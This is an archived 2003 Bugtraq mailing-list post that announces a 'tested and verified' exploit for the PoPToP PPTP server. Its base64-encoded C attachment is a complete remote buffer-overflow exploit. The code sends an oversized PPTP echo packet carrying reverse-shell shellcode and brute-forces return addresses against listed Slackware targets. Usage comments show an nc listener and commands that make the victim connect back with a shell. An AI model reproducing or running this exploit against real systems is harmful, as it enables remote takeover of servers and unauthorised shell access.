[29908] in bugtraq
Re: Exploit for PopPToP PPTP server - Working version
daemon@ATHENA.MIT.EDU (blightninjas@hushmail.com)
Fri Apr 25 16:44:15 2003
Message-Id: <200304251845.h3PIjBXp015358@mailserver2.hushmail.com>
Date: Fri, 25 Apr 2003 11:45:08 -0700
To: bugtraq@securityfocus.com
From: <blightninjas@hushmail.com>
MIME-Version: 1.0
Content-type: multipart/mixed; boundary="Hush_boundary-3ea98234763f4"
--Hush_boundary-3ea98234763f4
Content-type: text/plain
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
Attached is a working copy of the poptop exploit.
This has been tested, and verified working.
This and other editions available at www.freewebs.com/blightninjas/
- --blightninjas
-----BEGIN PGP SIGNATURE-----
Version: Hush 2.2 (Java)
Note: This signature can be verified at https://www.hushtools.com/verify
wmEEARECACEFAj6pgjYaHGJsaWdodG5pbmphc0BodXNobWFpbC5jb20ACgkQ1lXHmsSz
kSC7UwCeOn5HVg0Mg1QfTqZG0zjEwCFnOfoAoJZRUjnoJUN3mEpCwnCvgw/5dgMb
=kkVX
-----END PGP SIGNATURE-----
--Hush_boundary-3ea98234763f4
Content-type: application/octet-stream; name="poptop-sane.c"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="poptop-sane.c"
LyoKICogRml4ZWQgRXhwbG9pdCBhZ2FpbnN0IFBvUFRvUCBpbiBMaW51eCAocG9wdG9wLXNhbmUu
YykKICogLi9yNG5jMHJ3aDByMyBvZiBibGlnaHRuaW5qYXMgKGJsaWdodG5pbmphc0BodXNobWFp
bC5jb20pCiAqCiAqIGJsaWdodG5pbmphczogYnJpbmdpbmcgcGFpbiwgc3VmZmVyaW5nLCBhbmQg
aHVtaWxpYXRpb24gdG8gdGhlIHNlY3VyaXR5IHdvcmxkCiAqIEV4cGVjdCBtb3JlIGdyZWF0IHJl
bGVhc2UgbGlrZSBoZWxsb3dvcmxkLWFubm90YXRlZC5jIGFuZAogKiBjZCBleHBsYWluZWQgd2hp
dGVwYXBlciwgd2UgYXJlIHdvcmtpbmcgaGFyZCBpbiBkYSB1bmRlcmdyb3VuZAogKgogKiBPdGhl
ciBFZGl0aW9ucyBBdmFpbGFibGUgQXQ6CiAqICAgaHR0cDovL3d3dy5mcmVld2Vicy5jb20vYmxp
Z2h0bmluamFzLwogKgogKiAgKioqIEJ1Z3RyYXEgQ2xlYW4gRWRpdGlvbiAqKioKICogQmFzZWQg
b2ZmIG9mIGNvZGUgYnkgZWluc3RlaW5fZGh0bUBmcm9udC5ydQogKiAKICogTm90ZXMgb24gdGhl
IGV4cGxvaXQ6CiAqIFRoaXMgd2FzIG9ubHkgdGVzdGVkIHVuZGVyIHNsYWNrd2FyZSwgUkVUX09G
RiBjb3VsZCBwb3NzaWJseQogKiBiZSBkaWZmZXJlbnQuCiAqIFlvdSBjYW4gaGF2ZSBudWxscyBp
biB0aGUgc2hlbGxjb2RlICh0aGUgaG9sZSBpcyBpbiBhIHJlYWQoKSkKICogVGhpcyBhbGxvd3Mg
eW91IHRvIGhhdmUgaXBzIGFuZCBwb3J0cyB3aXRoIG51bGxzIGluIHRoZW0KICogCiAqIFNob3V0
cyB0byBBRE0sIFRFU08sIGFuZCBhbGwgdGhlIG90aGVyICJjb29sIiBncm91cHMgdGhhdCBuZXZl
ciBnaXZlIHVzIDBkYXkKICoKICogRXhhbXBsZXM6CiAqIGF0dGFjayB0YXJnZXQgMQogKiBuYyAt
diAtbCAtcCAxMDAwMCA8LS0gb24gMS4xLjEuMgogKiAuL3BvcHRvcC1zYW5lIDEuMS4xLjEgMS4x
LjEuMiAxMDAwMCAtdCAxCiAqIGRvbid0IGNvbWUgdG8gdXNlLCB3ZSBjb21lIHRvIHlvdS4KICoK
ICogLi9wb3B0b3Atc2FuZSAxLjEuMS4xIDEuMS4xLjIgMTAwMDAgLXQKICogbGlzdCB0YXJnZXRz
CiAqCiAqIC4vcG9wdG9wLXNhbmUgMS4xLjEuMSAxLjEuMS4yIDEwMDAwIC1yIDB4YmZmZmY2MDAK
ICogYXR0YWNrIHVzaW5nIHJldCBhZGRyZXNzIDB4YmZmZmY2MDAKICoKICogSSB0aGluayB5b3Ug
Z2V0IHRoZSBwb2ludAogKi8KCiNpbmNsdWRlIDxzdGRpby5oPgojaW5jbHVkZSA8c3lzL3NvY2tl
dC5oPgojaW5jbHVkZSA8bmV0aW5ldC9pbi5oPgojaW5jbHVkZSA8c2lnbmFsLmg+CgojZGVmaW5l
IE5PUF9MRU5HVEggMTQwCi8vIEkgY2FsY3VsYXRlIGF0IDMzNiwgSSdsbCBmdWRnZSB0byBtYWtl
IG1vcmUgZ2VuZXJhbAojZGVmaW5lIFJFVF9PRkYgMzIwCiNkZWZpbmUgTUFYX0hPU1ROQU1FX1NJ
WkUgICAgICAgICAgICAgICA2NAojZGVmaW5lIE1BWF9WRU5ET1JfU0laRSAgICAgICAgICAgICAg
ICAgNjQKI2RlZmluZSBQUFRQX1ZFUlNJT04gICAgICAgICAgICAgICAgICAgIDB4MDEwMAovKiBN
YWdpYyBDb29raWUgKi8KI2RlZmluZSBQUFRQX01BR0lDX0NPT0tJRSAgICAgICAgICAgICAgIDB4
MWEyYjNjNGQKCi8qIE1lc3NhZ2UgdHlwZXMgKi8KI2RlZmluZSBQUFRQX0NUUkxfTUVTU0FHRSAg
ICAgICAgICAgICAgIDEKCi8qIENvbnRyb2wgQ29ubmVjdGlvbiBNYW5hZ2VtZW50ICovCiNkZWZp
bmUgU1RBUlRfQ1RSTF9DT05OX1JRU1QgICAgICAgICAgICAxCiNkZWZpbmUgU1RBUlRfQ1RSTF9D
T05OX1JQTFkgICAgICAgICAgICAyCiNkZWZpbmUgU1RPUF9DVFJMX0NPTk5fUlFTVCAgICAgICAg
ICAgICAzCiNkZWZpbmUgU1RPUF9DVFJMX0NPTk5fUlBMWSAgICAgICAgICAgICA0CiNkZWZpbmUg
RUNIT19SUVNUICAgICAgICAgICAgICAgICAgICAgICA1CiNkZWZpbmUgRUNIT19SUExZICAgICAg
ICAgICAgICAgICAgICAgICA2CgovLyBicnV0ZSBmb3JjZSB2YWx1ZXMKLy8gVmFsdWVzIGNhbiBi
ZSBpbmNyZWFzZWQgYm90aCB3YXlzCiNkZWZpbmUgVE9QT0ZTVEFDSyAweGJmZmZmODAwCiNkZWZp
bmUgQk9UVE9NT0ZTVEFDSyAweGJmZmZmMDAwCiNkZWZpbmUgU1RFUCA2NAoKLyogZXNkZWUgSSBs
b3ZlIHlvdSwgY2FsbCBtZSBzb21ldGltZSAqLwpjaGFyCnNoZWxsY29kZVtdID0gCiAgIlx4MzFc
eGMwXHgzMVx4ZGJceDMxXHhjOVx4NTFceGIxIgogICJceDA2XHg1MVx4YjFceDAxXHg1MVx4YjFc
eDAyXHg1MSIKICAiXHg4OVx4ZTFceGIzXHgwMVx4YjBceDY2XHhjZFx4ODAiCiAgIlx4ODlceGMy
XHgzMVx4YzBceDMxXHhjOVx4NTFceDUxIgogICJceDY4XHg0MVx4NDJceDQzXHg0NFx4NjZceDY4
XHhiMCIKICAiXHhlZlx4YjFceDAyXHg2Nlx4NTFceDg5XHhlN1x4YjMiCiAgIlx4MTBceDUzXHg1
N1x4NTJceDg5XHhlMVx4YjNceDAzIgogICJceGIwXHg2Nlx4Y2RceDgwXHgzMVx4YzlceDM5XHhj
MSIKICAiXHg3NFx4MDZceDMxXHhjMFx4YjBceDAxXHhjZFx4ODAiCiAgIlx4MzFceGMwXHhiMFx4
M2ZceDg5XHhkM1x4Y2RceDgwIgogICJceDMxXHhjMFx4YjBceDNmXHg4OVx4ZDNceGIxXHgwMSIK
ICAiXHhjZFx4ODBceDMxXHhjMFx4YjBceDNmXHg4OVx4ZDMiCiAgIlx4YjFceDAyXHhjZFx4ODBc
eDMxXHhjMFx4MzFceGQyIgogICJceDUwXHg2OFx4NmVceDJmXHg3M1x4NjhceDY4XHgyZiIKICAi
XHgyZlx4NjJceDY5XHg4OVx4ZTNceDUwXHg1M1x4ODkiCiAgIlx4ZTFceGIwXHgwYlx4Y2RceDgw
XHgzMVx4YzBceGIwIgogICJceDAxXHhjZFx4ODAiOwoKaW50IHN0OwpzdHJ1Y3QgdGFyZ2V0IHsK
ICBjaGFyICpkZXNjOwogIHVfaW50MzJfdCByZXQ7Cn0gdGFyZ2V0c1tdID0KewogIHsiU2xhY2t3
YXJlIDguMCBMaW51eCAyLjQuMTggcHB0cGQtMS4wLjEiLCAweGJmZmZmNTQwfSwKICB7IlNsYWNr
d2FyZSA4LjAgTGludXggMi40LjE4IHBwdHBkLTEuMS4zIiwgMHhiZmZmZjU4MH0sCn07CiAgCnN0
cnVjdCBwcHRwX2hlYWRlciB7CiAgdV9pbnQxNl90IGxlbmd0aDsgICAgICAgICAgICAgICAvKiBw
cHRwIG1lc3NhZ2UgbGVuZ3RoIGluY2wgaGVhZGVyICovCiAgdV9pbnQxNl90IHBwdHBfdHlwZTsg
ICAgICAgICAgICAvKiBwcHRwIG1lc3NhZ2UgdHlwZSAqLwogIHVfaW50MzJfdCBtYWdpYzsgICAg
ICAgICAgICAgICAgLyogbWFnaWMgY29va2llICovCiAgdV9pbnQxNl90IGN0cmxfdHlwZTsgICAg
ICAgICAgICAvKiBjb250cm9sIG1lc3NhZ2UgdHlwZSAqLwogIHVfaW50MTZfdCByZXNlcnZlZDA7
ICAgICAgICAgICAgLyogcmVzZXJ2ZWQgKi8KfTsKCnN0cnVjdCBwcHRwX3N0YXJ0X2N0cmxfY29u
bl9ycXN0IHsKICBzdHJ1Y3QgcHB0cF9oZWFkZXIgaGVhZGVyOyAgICAgIC8qIHBwdHAgaGVhZGVy
ICovCiAgdV9pbnQxNl90IHZlcnNpb247ICAgICAgICAgICAgICAvKiBwcHRwIHByb3RvY29sIHZl
cnNpb24gKi8KICB1X2ludDE2X3QgcmVzZXJ2ZWQxOyAgICAgICAgICAgIC8qIHJlc2VydmVkICov
CiAgdV9pbnQzMl90IGZyYW1pbmdfY2FwOyAgICAgICAgICAvKiBmcmFtaW5nIGNhcGFiaWxpdGll
cyAqLwogIHVfaW50MzJfdCBiZWFyZXJfY2FwOyAgICAgICAgICAgLyogYmVhcmVyIGNhcGFiaWxp
dGllcyAqLwogIHVfaW50MTZfdCBtYXhfY2hhbm5lbHM7ICAgICAgICAgLyogbWF4aW11bSBjaGFu
bmVscyAqLwogIHVfaW50MTZfdCBmaXJtd2FyZV9yZXY7ICAgICAgICAgLyogZmlybXdhcmUgcmV2
aXNpb24gKi8KICB1X2ludDhfdCBob3N0bmFtZVtNQVhfSE9TVE5BTUVfU0laRV07ICAgLyogaG9z
dG5hbWUgKi8KICB1X2ludDhfdCB2ZW5kb3JbTUFYX1ZFTkRPUl9TSVpFXTsgICAgICAgLyogdmVu
ZG9yICovCn07CgpzdHJ1Y3QgcHB0cF9lY2hvX3Jxc3QgewogIHN0cnVjdCBwcHRwX2hlYWRlciBo
ZWFkZXI7ICAgICAgLyogaGVhZGVyICovCiAgdV9pbnQzMl90IGlkZW50aWZpZXI7ICAgICAgICAg
ICAvKiB2YWx1ZSB0byBtYXRjaCBycGx5IHdpdGggcnFzdCAqLwogIGNoYXIgYnVmWzEwMDAwXTsK
fTsKCnN0cnVjdCBwcHRwX3JlcGx5IHsKICBzdHJ1Y3QgcHB0cF9oZWFkZXIgaGVhZGVyOyAgICAg
IC8qIGhlYWRlciAqLwogIGNoYXIgYnVmWzEwMDAwXTsKfTsKCnZvaWQgY2F0Y2hfcGlwZSgpIHsK
ICBwcmludGYoIkJyb2tlbiBwaXBlIGNhdWdodCwgc2VydmVyIG1vc3QgbGlrZWx5IHBhdGNoZWQu
XG4iKTsKICBleGl0KDEpOwp9CnZvaWQgc2VuZF9pbml0X3JlcXVlc3QoaW50IHN0KQp7CiAgc3Ry
dWN0IHBwdHBfc3RhcnRfY3RybF9jb25uX3Jxc3QgcmVxdWVzdDsKICByZXF1ZXN0LmhlYWRlci5t
YWdpYyA9IGh0b25sKFBQVFBfTUFHSUNfQ09PS0lFKTsKICByZXF1ZXN0LmhlYWRlci5wcHRwX3R5
cGUgPSBodG9ucyhQUFRQX0NUUkxfTUVTU0FHRSk7CiAgcmVxdWVzdC5oZWFkZXIuY3RybF90eXBl
ID0gaHRvbnMoU1RBUlRfQ1RSTF9DT05OX1JRU1QpOwogIAogIHJlcXVlc3QudmVyc2lvbiA9IFBQ
VFBfVkVSU0lPTjsKICByZXF1ZXN0LmZyYW1pbmdfY2FwID0gMDsKICByZXF1ZXN0LmJlYXJlcl9j
YXAgPSAwOwogIHJlcXVlc3QubWF4X2NoYW5uZWxzID0gMTsKICByZXF1ZXN0LmZpcm13YXJlX3Jl
diA9IDA7CiAgc3RyY3B5KHJlcXVlc3QuaG9zdG5hbWUsImhlbGwiKTsKICBzdHJjcHkocmVxdWVz
dC52ZW5kb3IsImRvbWFpbiBIRUxMIik7CiAgcmVxdWVzdC5oZWFkZXIubGVuZ3RoID0gbnRvaHMo
c2l6ZW9mKHJlcXVlc3QpKTsKICAKICBzZW5kKHN0LChjaGFyKikmcmVxdWVzdCxzaXplb2YocmVx
dWVzdCksMCk7Cn0KCnZvaWQgc2VuZF9waW5nX292ZXJmbG93KGludCBzdCwgdV9pbnQzMl90IHJl
dCwgY2hhciAqaG9zdG5hbWUsIHNob3J0IHBvcnQpCnsgCiAgc3RydWN0IHBwdHBfZWNob19ycXN0
IHBpbmc7CiAgaW50IGksIGJ1ZmxlbiA9IDUwMDsKCiAgcGluZy5oZWFkZXIubWFnaWMgPSBodG9u
bChQUFRQX01BR0lDX0NPT0tJRSk7CiAgcGluZy5oZWFkZXIucHB0cF90eXBlID0gaHRvbnMoUFBU
UF9DVFJMX01FU1NBR0UpOwogIHBpbmcuaGVhZGVyLmN0cmxfdHlwZSA9IGh0b25zKEVDSE9fUlFT
VCk7CiAgcGluZy5pZGVudGlmaWVyID0gMTExOyAgCiAgcGluZy5oZWFkZXIubGVuZ3RoID0gbnRv
aHMoMSk7CgogIGZvciAoaSA9IDA7IGkgPCBOT1BfTEVOR1RIOyBpKyspIHBpbmcuYnVmW2ldID0g
J1x4OTAnOyAgICAgIAoKICAqKHVuc2lnbmVkIGxvbmcgaW50Kikoc2hlbGxjb2RlKzMzKSA9IGlu
ZXRfYWRkcihob3N0bmFtZSk7CiAgKih1bnNpZ25lZCBzaG9ydCBpbnQqKShzaGVsbGNvZGUrMzkp
ID0gaHRvbnMocG9ydCk7CgogIG1lbWNweShwaW5nLmJ1ZitOT1BfTEVOR1RILHNoZWxsY29kZSxz
aXplb2Yoc2hlbGxjb2RlKSk7CiAgZm9yKGkgPSBSRVRfT0ZGOyBpIDwgYnVmbGVuIC0gNDsgaSs9
NCkKICAgIG1lbWNweShwaW5nLmJ1ZitpLChjaGFyKikmcmV0LDQpOyAKCiAgc2VuZChzdCwoY2hh
ciopJnBpbmcsc2l6ZW9mKHBpbmcuaGVhZGVyKStidWZsZW4sMCk7IAp9CgppbnQgY29ubmVjdF9z
ZXJ2ZXIoY2hhciogaG9zdG5hbWUpCnsKICBzdHJ1Y3Qgc29ja2FkZHJfaW4gYWRkcjsKICBzdD1z
b2NrZXQoUEZfSU5FVCxTT0NLX1NUUkVBTSwwKTsKICBpZiAoKHN0PXNvY2tldChQRl9JTkVULFNP
Q0tfU1RSRUFNLDApKSA9PSAtMSkgcmV0dXJuIDA7CgogIGFkZHIuc2luX2ZhbWlseT1BRl9JTkVU
OwogIGFkZHIuc2luX3BvcnQ9MDsKICBhZGRyLnNpbl9hZGRyLnNfYWRkcj0wOwogIGJpbmQoc3Qs
IChzdHJ1Y3Qgc29ja2FkZHIgKikmYWRkcixzaXplb2Yoc3RydWN0IHNvY2thZGRyKSk7CiAgCiAg
YWRkci5zaW5fZmFtaWx5PUFGX0lORVQ7CiAgYWRkci5zaW5fcG9ydD1odG9ucygxNzIzKTsKICBh
ZGRyLnNpbl9hZGRyLnNfYWRkcj1pbmV0X2FkZHIoaG9zdG5hbWUpOwogIHByaW50ZigiY29ubmVj
dGluZy4uLiAiKTsKICBpZiAoKGNvbm5lY3Qoc3QsKHN0cnVjdCBzb2NrYWRkciopJmFkZHIsc2l6
ZW9mKGFkZHIpKSkgIT0gMCkKICB7CiAgICBwZXJyb3IoImNvbm5lY3QiKTsKICAgIHJldHVybiAw
OwogIH0KICByZXR1cm4gMTsKfQoKaW50IG1haW4oaW50IGFyZ2MsIGNoYXIqKiBhcmd2KQp7CiAg
c3RydWN0IHBwdHBfcmVwbHkgcmVwbHk7CiAgLy8gcnVzaGluZyB0aGluZ3Mgb25seSBtYWtlcyBp
dCB3b3JzZQogIGludCB0aW1lb3V0ID0gMTAwMDsKICB1X2ludDMyX3QgcmV0OwogIGludCBieXRl
cywgaiwgY2hlY2tlZCA9IDA7CiAgc2lnbmFsKFNJR1BJUEUsIGNhdGNoX3BpcGUpOwogIHByaW50
ZigiXG4iKTsKICAvLyBTb3JyeSwgSSBmYWlsZWQgUkVBTExZIEZVQ0tJTkcgTEFNRSBBU0NJSSBB
UlQgY2xhc3MKICBwcmludGYoIiAgICAgICAgRCAgICAgQSAgICAgU1NTU1MgICAgICAgICAgICAg
ICAgICAgICAgICAgICBcbiIpOwogIHByaW50ZigiICAgICAgICBEICAgIEEgQSAgICBTICAgICBT
U1NTUyAgICAgVFxuIik7CiAgcHJpbnRmKCIgICAgICAgIEQgICBBICAgQSAgIFMgICAgIFMgICAg
ICAgICBUICAgICBFRSAgICBBQSAgIE0gICBNIFxuIik7CiAgcHJpbnRmKCIgICAgREREIEQgIEFB
QUFBQUEgIFNTU1NTIFMgICAgICAgICBUICAgIEUgIEUgIEEgIEEgIE1NIE1NIFxuIik7CiAgcHJp
bnRmKCIgICBEICAgREQgIEEgICAgIEEgICAgICBTIFNTU1NTICAgIFRUVFQgIEUgIEUgIEEgIEEg
IE1NIE1NIFxuIik7CiAgcHJpbnRmKCIgIEQgICAgIEQgIEEgICAgIEEgICAgICBTICAgICBTICAg
ICBUICAgIEVFRSAgIEFBQUEgIE0gTSBNIFxuIik7CiAgcHJpbnRmKCIgICBEICAgIEQgIEEgICAg
IEEgIFNTU1NTICAgICBTICAgICBUICAgIEUgICAgIEEgIEEgIE0gICBNIFxuIik7CiAgcHJpbnRm
KCIgICAgRERERCAgIEEgICAgIEEgICAgICAgIFNTU1NTICAgICAgVFRUICBFRUUgIEEgIEEgIE0g
ICBNICAgIik7CiAgcHJpbnRmKCIgLi4uIHByZXNlbnRzIC4uLiBcblxuIik7ICAgICAgICAgICAg
ICAgIAogIHByaW50ZigiRXhwbG9pdCBmb3IgUG9QVG9QIFBQVFAgc2VydmVyIG9sZGVyIHRoYW5c
bjEuMS40LWIzIGFuZCAxLjEuMy0yMDAzMDQwOSB1bmRlciBMaW51eC5cbiIpOwogIHByaW50Zigi
YnkgLmVpbnN0ZWluLiwgQXByaWwgMjAwMy4gIDwtLSB0aGUgZ2VuaXVzXG5cbiIpOwogIHByaW50
ZigiZml4ZWQgYnkgLi9yNG5jMHJ3aDByMyBvZiBibGlnaHRuaW5qYXMgIGJsaWdodG5pbmphc0Bo
dXNobWFpbC5jb21cblxuIik7CiAgaWYgKGFyZ2MgPCAyKQogIHsKICAgIHByaW50ZigidXNhZ2U6
IFxuIik7CiAgICBwcmludGYoIiAgJXMgPHBwdHBfc2VydmVyPiBbeW91cl9pcF0gW3lvdXJfcG9y
dF0gLi4uXG4iLGFyZ3ZbMF0pOwogICAgcHJpbnRmKCIgICAtYiBbdGltZW91dCBpbiBtc11cbiIp
OwogICAgcHJpbnRmKCIgICAtdCBbdGFyZ2V0XVxuIik7CiAgICBwcmludGYoIiAgIC1yIFtyZXQg
YWRkcmVzc11cbiIpOwogICAgLy9BYnJpZGdlZCBlZGl0aW9uIAogICAgcHJpbnRmKCIgT25seSBz
dXBwbHkgcHB0cF9zZXJ2ZXIgdG8gdGVzdCBleHBsb2l0YWJpbGl0eSB1c2luZyByZWFsbHkgcG9v
ciBtZXRob2QuXG4iKTsKICAgIHByaW50ZigiIENvbm5lY3QgYmFjayB0byB5b3VyX2lwIGF0IHlv
dXJfcG9ydC5cblxuIik7CiAgICByZXR1cm4gMDsKICB9CgogIGlmIChhcmdjID09IDIpCiAgewog
ICAgaWYgKCFjb25uZWN0X3NlcnZlcihhcmd2WzFdKSkgcmV0dXJuIDE7CiAgCiAgICBwcmludGYo
IlxuQ2hlY2tpbmcgaWYgdGhlIHNlcnZlciBpcyB2dWxuZXJhYmxlLi5cbiIpOwogICAgcHJpbnRm
KCIoaWYgaXQgaXMgeW91IGhhdmUgdG8gd2FpdCA2NSBzZWNvbmRzKS4uXG4iKTsKICAgIHNlbmRf
aW5pdF9yZXF1ZXN0KHN0KTsKICAKICAgIHJldCA9IDB4MDEwMTAxMDE7CiAgCiAgICAvL2hlYWRl
ciBsZW5ndGgKICAgIGJ5dGVzID0gcmVjdihzdCwoY2hhciopJnJlcGx5LDIsMCk7CiAgICBieXRl
cyA9IG50b2hzKHJlcGx5LmhlYWRlci5sZW5ndGgpOwogICAgYnl0ZXMgPSByZWN2KHN0LChjaGFy
KikmcmVwbHkrMixieXRlcy0yLDApOwogICAgaiA9IGh0b25zKHJlcGx5LmhlYWRlci5jdHJsX3R5
cGUpOwogICAgc2VuZF9waW5nX292ZXJmbG93KHN0LHJldCwiMC4wLjAuMCIsMCk7CiAgCiAgICAv
L2hlYWRlciBsZW5ndGgKICAgIGJ5dGVzID0gcmVjdihzdCwoY2hhciopJnJlcGx5LDIsMCk7CiAg
ICBwcmludGYoIlBvUFRvUCBzZXJ2ZXIgaXMgIik7CiAgICBpZiAoKGJ5dGVzID0gcmVjdihzdCwo
Y2hhciopJnJlcGx5LDIsMCkpICE9IC0xKSBwcmludGYoInZ1bG5lcmFibGUhXG4iKTsKICAgIGVs
c2UgcHJpbnRmKCJub3QgdnVsbmVyYWJsZVxuIik7CiAgICBjbG9zZShzdCk7CiAgCiAgICByZXR1
cm4gMTsKICB9CiAgaWYoYXJnYyA8IDUpIGV4aXQoMSk7CiAgZWxzZSBpZihzdHJuY21wKGFyZ3Zb
NF0sICItYiIsIDIpID09IDApIHsKICAgIGlmKGFyZ2MgPT0gNikgdGltZW91dCA9IGF0b2koYXJn
dls1XSk7CiAgICBwcmludGYoIlshXSBBdHRlbXB0aW5nIGJydXRlZm9yY2UgYWdhaW5zdCAlcywg
dGltZW91dDogJWRcbiIsIGFyZ3ZbMV0sIHRpbWVvdXQpOwogICAgcHJpbnRmKCJpbnRlcnJ1cHQg
d2hlbiB5b3UgZ2V0IGEgc2hlbGwgdG8gJXMgb24gcG9ydCAlZC4uLlxuXG4iLGFyZ3ZbMl0sYXRv
aShhcmd2WzNdKSk7CgogICAgZm9yIChyZXQgPSBUT1BPRlNUQUNLOyByZXQgPj1CT1RUT01PRlNU
QUNLOyByZXQgLT0gU1RFUCkgewogICAgICBwcmludGYoIlsqXSAiKTsKICAgICAgaWYgKCFjb25u
ZWN0X3NlcnZlcihhcmd2WzFdKSkgcmV0dXJuIDE7CiAgICAgIHByaW50ZigiW3JldD0weCV4XS4u
IixyZXQpOwogICAgICBwcmludGYoInNlbmRpbmcgcGF5bG9hZC4uIik7CgogICAgICAvLyBpbml0
aWFsIHBhY2tldAogICAgICBzZW5kX2luaXRfcmVxdWVzdChzdCk7CgogICAgICAvL2EgcmVhbCBv
dmVyZmxvd2luZyBwaW5nIHBhY2tldAogICAgICBzZW5kX3Bpbmdfb3ZlcmZsb3coc3QscmV0LGFy
Z3ZbMl0sYXRvaShhcmd2WzNdKSk7CiAgICAgIGNsb3NlKHN0KTsKCiAgICAgIHVzbGVlcCh0aW1l
b3V0ICogMTAwMCk7CiAgICAgIHByaW50ZigiZG9uZVxuIik7CiAgICB9CiAgfQogIGVsc2UgaWYo
c3RybmNtcChhcmd2WzRdLCAiLXQiLCAyKSA9PSAwKSB7CiAgICBpZihhcmdjID09IDYgJiYgYXRv
aShhcmd2WzVdKSA+PSAwCiAgICAgJiYgYXRvaShhcmd2WzVdKSA8IHNpemVvZih0YXJnZXRzKS9z
aXplb2Yoc3RydWN0IHRhcmdldCkpIHsKICAgICAgcmV0ID0gdGFyZ2V0c1thdG9pKGFyZ3ZbNV0p
XS5yZXQ7CiAgICAgIHByaW50ZigiWyFdIEF0dGFja2luZyAlcyB1c2luZyAlc1xuIiwgYXJndlsx
XSwgdGFyZ2V0c1thdG9pKGFyZ3ZbNV0pXS5kZXNjKTsKCiAgICAgIHByaW50ZigiWypdICIpOwog
ICAgICBpZiAoIWNvbm5lY3Rfc2VydmVyKGFyZ3ZbMV0pKSByZXR1cm4gMTsKICAgICAgcHJpbnRm
KCJbcmV0PTB4JXhdLi4iLHJldCk7CiAgICAgIHByaW50Zigic2VuZGluZyBwYXlsb2FkLi4iKTsK
CiAgICAgIC8vIGluaXRpYWwgcGFja2V0CiAgICAgIHNlbmRfaW5pdF9yZXF1ZXN0KHN0KTsKCiAg
ICAgIC8vYSByZWFsIG92ZXJmbG93aW5nIHBpbmcgcGFja2V0CiAgICAgIHNlbmRfcGluZ19vdmVy
ZmxvdyhzdCxyZXQsYXJndlsyXSxhdG9pKGFyZ3ZbM10pKTsKICAgICAgY2xvc2Uoc3QpOwoKICAg
ICAgcHJpbnRmKCJkb25lXG4iKTsKICAgIH0KICAgIGVsc2UgewogICAgICBmb3IoaiA9IDA7IGog
PCBzaXplb2YodGFyZ2V0cykvc2l6ZW9mKHN0cnVjdCB0YXJnZXQpOyBqKyspIHsKICAgICAgICBw
cmludGYoIiUwMmQgLSAlc1xuIiwgaiwgdGFyZ2V0c1tqXS5kZXNjKTsKICAgICAgfQogICAgICBw
cmludGYoIlxuIik7CiAgICB9CiAgfQogIGVsc2UgaWYoc3RybmNtcChhcmd2WzRdLCAiLXIiLCAy
KSA9PSAwKSB7CiAgICBpZihhcmdjID09IDYpIHsKICAgICAgc3NjYW5mKGFyZ3ZbNV0sICIleCIs
ICh1bnNpZ25lZCBpbnQgKikmcmV0KTsKICAgICAgcHJpbnRmKCJbIV0gQXR0YWNraW5nICVzXG4i
LCBhcmd2WzFdKTsKCiAgICAgIHByaW50ZigiWypdICIpOwogICAgICBpZiAoIWNvbm5lY3Rfc2Vy
dmVyKGFyZ3ZbMV0pKSByZXR1cm4gMTsKICAgICAgcHJpbnRmKCJbcmV0PTB4JXhdLi4iLHJldCk7
CiAgICAgIHByaW50Zigic2VuZGluZyBwYXlsb2FkLi4iKTsKCiAgICAgIC8vIGluaXRpYWwgcGFj
a2V0CiAgICAgIHNlbmRfaW5pdF9yZXF1ZXN0KHN0KTsKCiAgICAgIC8vYSByZWFsIG92ZXJmbG93
aW5nIHBpbmcgcGFja2V0CiAgICAgIHNlbmRfcGluZ19vdmVyZmxvdyhzdCxyZXQsYXJndlsyXSxh
dG9pKGFyZ3ZbM10pKTsKICAgICAgY2xvc2Uoc3QpOwoKICAgICAgcHJpbnRmKCJkb25lXG4iKTsK
ICAgIH0KICB9CiAgcmV0dXJuIDA7Cn0K
--Hush_boundary-3ea98234763f4--
Concerned about your privacy? Follow this link to get
FREE encrypted email: https://www.hushmail.com/?l=2
Big $$$ to be made with the HushMail Affiliate Program:
https://www.hushmail.com/about.php?subloc=affiliate&l=427